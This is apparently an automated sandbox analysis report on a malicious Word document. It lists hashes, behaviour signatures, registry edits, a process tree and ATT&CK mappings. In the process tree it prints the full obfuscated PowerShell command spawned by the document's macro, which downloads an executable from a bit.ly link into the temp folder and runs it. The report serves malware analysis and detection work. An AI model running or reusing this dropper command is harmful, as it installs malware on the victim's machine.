b25e473d3fd1772bb3fcc4faec21fbdb5c1a5a2b2e3dcad5702d7466c8d7b9ce

General

Target

IMG_1035_80_63.doc
Size

33KB
MD5

f1c7f28c1e71d97feabc188c267fd4a8
SHA1

bc323d3cb3234f98cfca8540ae9e7eb1ac29ab06
SHA256

b25e473d3fd1772bb3fcc4faec21fbdb5c1a5a2b2e3dcad5702d7466c8d7b9ce
SHA512

5ecc4583ad9904c808b52efdf9821c8e2b38df9e84af199b7265c3c95e5417b42030ebccbcd92de8774c46d466d97902a336c0da5de4aad5870034670fb49c52

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bit.ly/3ccVgSJ

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1740	780	powershell.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

6 1740 powershell.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

flow	pid	process
6	1740	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

780 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1740 powershell.exe
1740 powershell.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

WINWORD.EXE

pid process

780 WINWORD.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1740 powershell.exe

pid	process
1740	powershell.exe
1740	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1740	powershell.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

WINWORD.EXE

pid	process
780	WINWORD.EXE
780	WINWORD.EXE
780	WINWORD.EXE
780	WINWORD.EXE
780	WINWORD.EXE
780	WINWORD.EXE
780	WINWORD.EXE
780	WINWORD.EXE
780	WINWORD.EXE
780	WINWORD.EXE
780	WINWORD.EXE
780	WINWORD.EXE
780	WINWORD.EXE
780	WINWORD.EXE
780	WINWORD.EXE
780	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 780 wrote to memory of 1740	780	WINWORD.EXE	powershell.exe
PID 780 wrote to memory of 1740	780	WINWORD.EXE	powershell.exe
PID 780 wrote to memory of 1740	780	WINWORD.EXE	powershell.exe
PID 780 wrote to memory of 1740	780	WINWORD.EXE	powershell.exe
PID 780 wrote to memory of 1144	780	WINWORD.EXE	splwow64.exe
PID 780 wrote to memory of 1144	780	WINWORD.EXE	splwow64.exe
PID 780 wrote to memory of 1144	780	WINWORD.EXE	splwow64.exe
PID 780 wrote to memory of 1144	780	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\IMG_1035_80_63.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:780

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" INvOkE-EXpRessiOn((('t9Qclien'+'t '+'= new'+'-'+'object S'+'ys'+'tem.Net.'+'WebClient'+';t9Qa'+' = AEi'+'https://bit.ly/3ccVgSJ'+'AEi.Spl'+'i'+'t'+'('+'AEi'+','+'AEi);t9Qhu'+'as = '+'t'+'9Q'+'env:temp'+' + AEi'+'c4g'+'pauele.exe'+'AEi;for'+'each'+'(t9'+'Q'+'b'+' in t9Qa)'+'{try{t9Qclie'+'nt'+'.DownloadFil'+'e(t9Qb.ToS'+'t'+'ring()'+','+' '+'t9Qhuas);I'+'nvoke-Item(t9Qhua'+'s);'+'b'+'reak;}catch{'+'write-hos'+'t t'+'9Q'+'_.Exce'+'ption.Me'+'ssa'+'ge'+'}};') -rePlacE't9Q',[ChAr]36 -crEPLacE'c4g',[ChAr]92 -crEPLacE'AEi',[ChAr]39) )
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1740

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1144

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/780-3-0x00000000700F1000-0x00000000700F3000-memory.dmp

Filesize
8KB

Download
memory/780-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/780-2-0x0000000072671000-0x0000000072674000-memory.dmp

Filesize
12KB

Download
memory/780-7-0x0000000001E70000-0x0000000001E71000-memory.dmp

Filesize
4KB

Download
memory/1144-9-0x0000000000000000-mapping.dmp

Download
memory/1144-10-0x000007FEFBB61000-0x000007FEFBB63000-memory.dmp

Filesize
8KB

Download
memory/1740-12-0x0000000004A00000-0x0000000004A01000-memory.dmp

Filesize
4KB

Download
memory/1740-15-0x00000000049C2000-0x00000000049C3000-memory.dmp

Filesize
4KB

Download
memory/1740-6-0x0000000076071000-0x0000000076073000-memory.dmp

Filesize
8KB

Download
memory/1740-11-0x0000000002250000-0x0000000002251000-memory.dmp

Filesize
4KB

Download
memory/1740-5-0x0000000000000000-mapping.dmp

Download
memory/1740-13-0x00000000025C0000-0x00000000025C1000-memory.dmp

Filesize
4KB

Download
memory/1740-14-0x00000000049C0000-0x00000000049C1000-memory.dmp

Filesize
4KB

Download
memory/1740-8-0x000000006A800000-0x000000006AEEE000-memory.dmp

Filesize
6.9MB

Download
memory/1740-16-0x0000000004950000-0x0000000004951000-memory.dmp

Filesize
4KB

Download
memory/1740-19-0x0000000006050000-0x0000000006051000-memory.dmp

Filesize
4KB

Download
memory/1740-24-0x0000000006090000-0x0000000006091000-memory.dmp

Filesize
4KB

Download
memory/1740-25-0x0000000006230000-0x0000000006231000-memory.dmp

Filesize
4KB

Download
memory/1740-26-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1740-33-0x00000000061A0000-0x00000000061A1000-memory.dmp

Filesize
4KB

Download
memory/1740-34-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads